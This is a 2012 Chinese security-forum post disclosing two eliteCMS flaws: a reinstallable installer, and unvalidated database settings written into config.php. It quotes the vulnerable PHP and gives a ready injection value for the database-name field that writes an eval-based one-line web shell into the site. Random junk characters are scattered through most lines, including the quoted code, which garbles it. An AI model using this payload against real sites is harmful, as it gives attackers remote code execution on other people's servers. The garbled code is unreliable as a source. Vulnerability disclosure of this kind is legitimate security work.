找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2143|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
1 g" y7 k/ H) r0 [
9 H! F" ~+ ]: c# c) h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
9 t+ M' {7 u$ Y9 G我们来看代码:; a; |; J2 n" N- |6 @' Z! x

) N' k! a* T: w* L" H. n& @& i...) h. c/ ?" f% |. {  H( T& Z
elseif ($_GET['step'] == "4") {. d. x; c7 W  U, c
    $file = "../admin/includes/config.php";8 C! D" S" r! j+ _$ b7 F
    $write = "<?php\n";" j- q+ Y1 ~! ?
    $write .= "/**\n";1 G% Z/ A& b" y8 N. J  v6 ]
    $write .= "*\n";; g/ }" q/ R9 V
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
; t( {% I5 Y2 N, j8 j...略...: P" \. V& j; F: s4 q7 _# O( y2 X2 g
    $write .= "*\n";
: i9 M4 N0 _" R! u, j& t    $write .= "*/\n";
- @3 Z9 h# B1 s9 B    $write .= "\n";
: T  s! f& r7 D# m- T) Q- A& [    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
9 X; {! X$ v6 t/ ?: a    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";  f2 G' L  o! [" u  n% C
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 _2 J0 R! ^7 c( G% p# I' `2 o    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
" u. Z9 O% `9 E! U" l5 x. v# ]    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";7 t% D" A& t: d  i/ K+ E! d6 o1 i
    $write .= "if (!\$connection) {\n";2 i! F$ h( n7 `7 d+ f
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 g- t% L" ~% k    $write .= "        \n";
0 Z! p7 f+ d2 P, J    $write .= "} \n";
) z2 \" V7 S6 a6 t; _4 d) Q) z    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";, R  V4 U7 `8 q7 C
    $write .= "if (!\$db_select) {\n";( i  t7 ^/ Q8 q# Y, v
    $write .= "        die(\"Database select failed\" .mysql_error());\n";7 M8 \" @" M' _5 e5 N0 w. d
    $write .= "        \n";5 Q4 E  o, D0 T0 [& V
    $write .= "} \n";
( C: Z8 Y5 y' p  G( }; }  d( H    $write .= "?>\n";
) Z/ h4 g: `0 l5 n$ H5 Q$ x8 p% s1 f
1 D$ s2 v2 I% N$ M2 N0 a' A3 a( ~    $writer = fopen($file, 'w');
+ S! _  b7 X4 Y% ^! t% x...# w6 p1 Q! s: Q6 t  C
, v5 |: C! u+ L- m
在看代码:
) m1 z3 E2 A/ @+ m1 ]  h& X" m0 i3 w , q- v6 h! I  N! c  @% `& u2 s
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];) S$ ^5 I  M- K  g1 @. G
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
& f% R1 j, p1 a9 u/ ~9 o1 q" c) |$_SESSION['DB_USER'] = $_POST['DB_USER'];
6 R- ?" |. U" S5 J$_SESSION['DB_PASS'] = $_POST['DB_PASS'];" z+ X# X: j9 |* W3 S
1 i, V. q# d/ s- F
取值未作任何验证: ]& ]2 {! m- Z' S
如果将数据库名POST数据:
  h# Q0 O) d/ K+ B* H. e7 n
9 l& K( ?# r  w: G) o& ]"?><?php eval($_POST[c]);?><?php
0 N7 }. B2 j* f
4 J/ w7 c2 e5 r9 l将导致一句话后门写入/admin/includes/config.php
/ k* y3 E& Z. W: T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表